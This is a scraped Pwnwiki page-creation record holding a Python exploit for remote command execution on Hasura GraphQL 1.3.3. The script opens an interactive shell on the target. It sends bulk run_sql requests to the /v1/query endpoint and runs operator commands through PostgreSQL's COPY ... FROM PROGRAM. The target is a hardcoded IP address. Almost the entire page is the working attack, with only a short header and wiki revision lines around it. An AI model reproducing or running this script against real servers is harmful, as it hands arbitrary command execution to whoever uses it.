Pwnwiki: Created page with "==EXP==

 # Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3..."

2021-04-26T09:53:49Z

Created page with "==EXP== <pre> # Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3..."

New page

==EXP==
<pre>
# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/23/2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.34.57.144'
HASURA_PORT = 80

print('Start typing shell commands...')

while True:
cmd = input('cmd $> ')
data = { "type":"bulk",
"args":[
{
"type":"run_sql",
"args":{
"sql":"SET LOCAL statement_timeout = 10000;","cascade":False,"read_only":False}
},
{
"type":"run_sql",
"args":{
"sql":"DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM '" + cmd + "';\nSELECT * FROM cmd_exec;","cascade":False,"read_only":False}
}
]
}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
if r.ok:
try:
for i in r.json()[1]['result']:
print(''.join(i))
except:
print(r.json())

</pre>

Hasura GraphQL 1.3.3 遠程命令執行漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3..."